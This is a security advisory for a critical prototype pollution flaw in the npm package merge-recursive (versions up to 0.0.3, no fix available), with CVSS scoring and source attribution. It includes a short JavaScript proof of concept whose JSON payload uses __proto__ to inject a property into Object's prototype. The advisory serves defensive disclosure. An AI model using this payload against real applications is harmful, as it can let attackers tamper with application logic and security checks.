Critical

Prototype Pollution in merge-recursive

  • Disclosed: 18.09.2018
  • Updated: 11.10.2026 10:22

All versions of merge-recursive are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via __proto__ causing the addition or modification of an existing property.

Proof of concept:

js
var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Recommendation

There is currently no fix available.

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package merge-recursive <= 0.0.3 no fix

References

CVSS score 9.8/10
CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-20
Platform
npm
Package
merge-recursive
Disclosed
18.09.2018
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-cvxm-f295-x957 - CC BY 4.0

Vulnerability history: merge-recursive

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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